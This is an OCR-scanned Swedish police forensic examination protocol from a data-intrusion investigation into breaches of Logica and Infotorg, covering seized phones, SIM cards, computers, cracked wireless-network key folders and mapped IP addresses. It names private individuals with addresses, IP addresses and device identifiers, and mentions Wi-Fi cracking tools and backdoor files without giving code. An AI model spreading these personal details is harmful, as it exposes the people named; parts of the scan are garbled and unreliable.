På minneskortet under sökvägen, "/Ul/Ubuntu One/" fanns flertalet kataloger 
och filer. I katalogen "/Linux!Hacking/" påträffades bland annat två kataloger 
vid namn "rea v er_ v 1 .4" samt "wpstools" .  Detta är namn som överensstämmer 
med namn på verktyg som kan användas för att ta sig in på lösenordsskyddade 
trådlösa nätverk. 

I Katalogen "Key s "  påträffades katalogerna "we p " , "wpa-captures ", "wpa
knackt '' samt "wpa-oknackt " .  I katalogen "wpa-knackt " återfanns 
textdokumenten " 54-E6-FC-BE-80-9A_Backe. txt " och "A0-21 -B7- 7A-3E-

7E_LINNEA_Network. txt " .  Dessa filer innehåller identifikationsuppgifter samt 
inloggningsuppgifter till Mikael Backe respektive Linnea Wikströms trådlösa 
nätverk. Utöver dessa 2 textdokument återfanns det ca 45 andra filer med vad 
som också ser ut att innehålla inloggningsuppgifter, men till andra trådlösa 
nätverk. 

Katalogen " WPA -captures " innehåller filer med inspelad nätverkstrafik, vilket 
i normalfallet krävs för att initiera ett försök att bryta sig in i trådlösa 
lösenordsskyddade nätverk. 

Totalt återfanns 1 30 filer i katalogen "uJ " och dess underkataloger. 
Innehållsmässigt identiska kopior av dessa återfanns också i andra beslag och 
annat material . Jämförelserna baseras på varje  fils beräknade MD5-
hashsumma. 

I materialet från utrymmet, som disponerats av användamamnet "dirox", hos 
Passagen återfanns 1 23 innehållsmässigt identiska filer. Vidare så återfanns 2 
stycken innehållsmässigt identiska filer samt spår av 1 28 stycken 
innehållsmässigt identiska filer som blivit raderade i materialet från Ubuntu 
On e. 
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Analys och slutsats 

Det återfanns filer innehållandes inloggningsuppgifter till trådlösa nätverk. 
Två av dessa nätverk har påträffats på de geografiska adresser som spårats 
genom lP-adresser använda vid dataintrånget hos Logica. Nätverken tillhör 
Mikael Backe respektive Linnea Wikström. 

De textfragment som påträffats har visat sig innehålla inloggningsuppgifter 
relaterade till Infotorgs tjänster. 

2012-0201-BG10221-40 

F ab rika t: ZTE 
Modell : Blade 
TI\1EI: 353 1 6004249273 1  

STI\1-kort: Ja 
Operatör: Telenor 
ICCID: 89460843907004054653 
PIN-kod: Inaktiv 

Telefonen avlästes logiskt och fysiskt. Minneskortet avlästes fysiskt separat 
och sim-kortet avlästes också separat. 
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< E:  1588 CD o � -
ZTE-BLADE Grey 
GSM 900/1 800/1 900 MHz 
UMTS 900/21 00 MHz 

Bild 9: 20 1 2-020 1 -B G 1 022 1 -40, framsida Bild 1 0 :  20 1 2-020 1 -B G 1 022 1 -40, etikett 
bakom batteri. 

431 0 700 
415485  3 

Bild 1 1 : Sim-kort och minneskort som satt i beslagspunkt 20 1 2-020 1 -B G 1 022 1 -40. 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG10221-2 

Sim-kort 
Operatör: Telenor 
ICCTID: 89460843906000575828 

255 

14 



Undersökningsprotokol l Beslag 201 2-020 1 -BG1  022 1 , Mob i l ,  201 3-03-2 1 1 6 : 1 1 d iarienr: 020 1 -K8 1 864- 1 2  

Polismyndigheten i Stockholms län 201 3-03-2 1 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG l 0221-4 

Fabrikat: Apple 
Modell : iPod nano 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG 10221-5 

Fabrikat: Apple 
Modell : iPod nano 

Iakttagelser och undersökningar 

Ingenting som bedömdes vara relevant för utredningen påträffades. 

2012-0201-BG l 0221-7 

020 1 -K8 1 864- 1 2  

Beslagspunkt 20 1 2-020 1 -BG10221 -7 är en mapp som bland annat innehöll 7 
sim-kort. 

Dessa sim-kort hade följande sim-kortsnummer (ICCID) : 

89460843807005104103 
89462044110000093170 
89460100090828075721 
89460110090827550557  
89460110100420283165  
894620405 10007127091 
89460843906000884683 

Iakttagelser och undersökningar 

Inget av sim-korten innehöll information som bedömdes vara relevant för 
utredningen. 
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Polisen Undersökni ngsprotokol l  
Datum 

Pol ismynd igheten i Stockho lms län 20 1 3-0 1 -2 1  Version 0 . 1 .377 

Länskriminalpolisavdelningen Diarienr (åberopas vid korresp) 

IT-forensiska sektionen 020 1 -K8 1 864- 1 2  

Undersökningsprotokoll för beslag 2012-0201-BG10221 samt 
inhämtad data från Passagen.se 
(22 bilagor) 

Utredn ingsman Bestäl lande enhet Telefon t i l l  utredn ingsman 

LU/S 

Handläggare på !T-forensiska sektionen Medundersökare 

Kriminalinspektör Olle Wahlström 
Kriminalinspektör John steenmark 
IT-forensiker Joakim Persson 

Arendetyp Undersökn i ngstyp 

Dataintrång Analys av !T-media 

I nkom t i l l iT-forensiska sektionen Undersökningen påbörjad datum 

20 1 2-03-23 20 1 2-04- 1 5  

Undersökn ingsadress 

Inledning 

Genom analys av loggfiler från Logica samt påföljande IP-spårningar kunde 
det konstateras att flertalet lP-adresser utgick från ett relativt litet område i 
Ludvika. Det fanns därför anledning att misstänka att en och samma person 
kunde ha använt sig av flera trådlösa nätverk. Se kapitlet lP-spårning i 
förundersökningsprotokollet 

Genom inre spaning och kartläggning kunde det konstateras att flertalet av de 
slagningar som gjorts på Infotorgs webbtjänst kunde knytas till Gustafsson. 

l (57) 
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Sammantaget fanns skäl att misstänka Gustafsson för delaktighet i 
dataintrånget och en husrannsakan gjordes i hans bostad. 

I lägenheten påträffades ett flertal datorer och på lägenhetens balkong 
påträffades en förstärkare för trådlösa nätverk av märket SignalKing. 
1 80000G. Produkten uppges enligt tillverkaren kunna förstärka trådlösa 
nätverk upp till 3000 meter vid fri sikt. Riktad mot familjen Backes lägenhet, 
uppskattas avståndet till ca 1 50 meter, se bild nedan. 

19  

17  

6.A 

� 

Ti m mermansvägen 14F 

l P-nr  1178.174.180. 144 

IOE 

10A 1C8 ,oc 00 

88 8C  80 

c 

1(1f 

JA 
4 .os 

12 120 " ZE 

•OG 
l OH 

0C: 8F 
8G 

6.A 
6 

8 E 
o � 

� -g :'! J 

12F " 2G 

101 

lOK 

8 

Marnäs 

� . -

1 9  

olll s 

e c 

M i kael  Backe 

skogsru ndan 1 

l P-nr  194.23 . 6 1 . 1 5 1  

1 2  

M a t h i a s  G u stafsson 

Ti m merma nsvägen 141 

l P-nr  46.59.51 . 18 1  

F r i  s i kt f ö r  trådlös 

WIF I -u ppkopp l i ng 

Bild l Kartläggning av de lP-adresser som använts från området kring Skogsrundan och Timmermans vägen. 
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Bild 2 På lägenhetens balkong påträffades en trådlös förstärkare av märket SignalKing. 1 80000G 

Bild 3 Från förstärkaren gick en kabel in i lägenheten 
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Bild 4 I lägenhetens vardagsrum fanns tre datorer uppställda. 

Sammanfattning 

Operativsystemen på huvuddelen av de undersökta datorerna var installerade 
efter tiden för intrången. Det har dock påträffats spår av intrång mot Logica 
och Infotorg 20 1 0, 20 1 1  och 20 1 2. Både genom faktiska anslutningar mot 
Logicas stordatormiljö och genom slagningar på Infotorg. 

I beslagen påträffades ett stort antal filer med användarnaron och lösenord till 
användare på Infotorg. Därtill påträffades ett flertal filer med lösenord till 
hackade trådlösa accesspunkter från området runt Gustafsson adress . Bland 
dessa återfanns Mikael Backes och Linnea Wikströms trådlösa nätverk. 

I materialet från passagen påträffades en stor mängd kommunikation med 
Svartholm W arg. 

I materialet från Ubuntu One påträffades en stor mängd dataset som stämmer 
överens med den data som har laddats ner från Logica. 

4 



Polismyndigheten i Stockholms län 

Lagrade dataset 
560 av de d ataset som öve rförts 
via FTP h a r  syn k ro n iserats m e d  
U b u ntu O n e .  
D e s s a  h a r  e n l igt Log icas l ogga r 
överförts t i l l :  
l P :  46.59.51 . 181, 
lP :  94.234. 170. 183, 
lP: 85.228.54 .229, 
l P :  194. 23 .61 . 151, 
l P :  178.174.180. 144 

U ubu ntu on e 

20 1 3-0 1 -2 1  

Bild 5 Bi lden ovan visar en översikt av de data som har laddats ner från Logi ca och som påträffats hos Gustafsson . 

020 1 -K8 1 864- 1 2  5 

Te lenor  1/ l n loggningar�å l nfotorg 
M o b i ltbre d b a n d  FTP nedladda��i ler 

67�d ataset-med-� l<e-fi x 94.234. 170. 183 �ff.177, E487 och D455 
Bred ba ndsbolaget 

Bor lä nge, Sve rige •. 

85 .228.54.229 
M i kae l  Backe 

194. 23 .61 . 151 - FTP nedladdade fi ler 
Bas im Yaseen 

� -
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E487, E232 och D610 

... ..,... 

.,.. 

c 
:J 
0.. 
CD ...., 
(/) 
Q: 
;:>;"" 
:J 
3 

cc 
(/) 

"O ...., 
o o 
;:>;"" 
Q. 
_, 
Q: ...., 
o-
CD 
(/) Q) 

cc 
!'V 
o ...... 
!'V 

l 
o 
!'V 
o ...... 

l OJ 
G) ...... 
o 
!'V 
!'V ...... 
\J 
OJ 
(/) 
(/) 
OJ 

cc 
CD 
:J 
o 
() =r 
c 
o-
c 
:J -
c 

o 
!'V 
o ...... 
c..v 

l 
o 
c..v 

l 
!'V 
--..j ...... 
--..j � 
!'V 

0.. 
ili" 
:::::!. 
CD 
:J :: 
o 
!'V 
o ...... 

l ?\ 
CXl ...... ...... � 



Undersökn ingsprotokol l  för beslag 20 1 2-020 1 -BG 1 022 1 Passagen och U buntu O ,  20 1 3-03-27 1 7 :42 d iar ienr :  020 1 - 8 1 8E 

262 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  6 
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Filen kontoninja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 5  

Filen infotorgusers.xls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 6  

Filerna ipfnewO.png och ispfnewO.png . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 7  

Filerna vc242. txt och vc242_backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 8  

Filerna tfy. ource. backdoor och tfy. ource. txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

Katalogen pdf . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

Katalogen export . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 9  

20 1 2-020 1 -BG1022 1 - 14 - "Kittys dator" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Operativsystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Katalogen we p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  20 

Katalogen wpa-knackt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

Oallokerad data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

lP-adresser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

46.59 . 1 9 . 1 14 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 1  

46.59 . 1 9 .227 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  22 



U ndersökn ingsprotokol l  för beslag 20 1 2-020 1 -8 8 1 022 1 Passagen och Ubuntu O ,  201 3-03-27 1 7 :42 d iarienr :  020 1 - 8 1 8{ 

263 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  7 

Intemethistorik . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  22 

Passagen.se . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  22 

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  22 

20 1 2-020 1 -BG1022 1 - 1 5  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  23 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  23 

20 1 2-020 1 -BG 1 022 1 - 1 6  - "Mathias HP" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  23 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  24 

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 

20 1 2-020 1 -B G 1 022 1 - 1 7  - "Mathias LG", " LG-LINUX" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  24 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  24 

20 1 2-020 1 -BG1022 1 - 1 8  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  24 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  25 

20 1 2-020 1 -BG l 022 1 - 1 9  - "Lisas dator" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  25 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  25 

Operativsystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  25 

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  25 

Filen bash_history . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 25 

Katalogen we p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  26 

Katalogen wpa-knackt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  26 

Katalogen hack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  27 

Raderade epost . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  28 

O allokerad data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  28 

Filen rhytn1box.xml . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  28 

Ospecifierad data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  29 

Personnummer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  30 

lP-adresser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  30 

46.59 . 19 . 1 14 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  30 

46.59 .5 1 . 1 8 1  . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  30 

Fjärrtj änster . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  30 

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 1  

20 1 2-020 1 -BG1022 1 -26 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 1  

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 1  

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 

20 1 2-020 1 -BG1022 1 -29 - "trasig hårddisk" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 

Operativsystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 



U ndersökn ingsprotokol l  för beslag 201 2-020 1 -88 1 0221 Passagen och Ubuntu O ,  201 3-03-27 1 7 :42 d iarienr: 020 1 - 8 1 8( 

264 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  8 

Filen 9f65bee4-e404-4bcd-96a5-
b22783fdcd58. ulpartial. infotorg. tar. gz . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  32 

Katalogen wep . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  33  

Katalogen infotorg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  33 

lP-adresser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  34 

46.59 . 1 9 .227 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  34 

85 .228 .55 . 1 32 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  34 

Epost . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  35 

Fjärrtjänster . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  36 

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  36 

Inhämtad data från Passagen.se . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  36 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  36 

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  36 

Filen databaser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  37 

Filenftpinfotorg. se_webserver _listing. txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  37 

Filen kontoninja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  37 

Filen infotorgusers.xls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 8  

Filen vfqfssij.jpg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 8  

Filen rootinfo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 9  

Filen anakata. ssh . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  40 

Filen cracked2. txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  40 

Filerna ipfnewO.png och ispfnewO.png . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 1  

Filerna vc242. txt och vc242_backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  4 1  

Filerna tfy. ource. back, tfy. ource. backdoor och tfy. ource. txt . . . . . . . . . . . . . . .  4 1  

Katalogen we p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  42 

Katalogen wpa-knackt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  43 

Katalogen bilar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  43 

Katalogen dun1p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  43 

Katalogen in f o . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  44 

Chatt. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  44 

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  47 

Inhämtad data från Ubuntu On e . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  48 

Beskrivningfilen metadata.csv . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  48 

Iakttagelser och undersökningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  48 

Jämförelse av beslag och inhämtat data . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  48 

Filer och kataloger . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  49 

Filen databaser . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  49 



Undersökningsprotokol l  för beslag 20 1 2-020 1 -88 1 022 1 Passagen och Ubuntu O ,  20 1 3-03-27 1 7 :42 d iarienr: 020 1 - 8 1 8€ 

265 

Polismyndigheten i Stockholms län 20 1 3-0 1 -2 1  020 1 -K8 1 864- 1 2  9 

Filen kontoninja . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  49 

Filen infotorgusers.xls . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  49 

Filen vc242_backdoor . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  50 

Samma innehållsmässigt identiska fil, med samma MD5 hash summa, 
har påträffats på beslagspunkten 20 1 2-020 1 -BG l 022 1 - 1 3  . . . . . . . . . . . . . . . . .  50 

Filerna tfy. ource. backdoor och tfy.ource. txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  50 

Dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  50 

Filen E484.DAF 1496. SKYDDADE.READREAD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 1  

Filen MKOD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  5 1  

FilenftpOlog . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  52 

Katalogerna infotorg . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  53 

Skärmdumpar polisen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  53  

Loggfiler från portskanningar . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  54 

Filer som Jesper Blomström refererar till i sin rapport . . . . . . . . . . . . . . . . . . . . . . .  56 

Analys och slutsats . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  56 



U ndersökningsprotokol l för beslag 201 2-0201 -BG 1 022 1 Passagen och Ubuntu O ,  201 3-03-27 1 7 :42 d iarienr: 020 1 - 8 1 8� 

266 

Polismyndigheten i Stockholms län 

Bilagor 

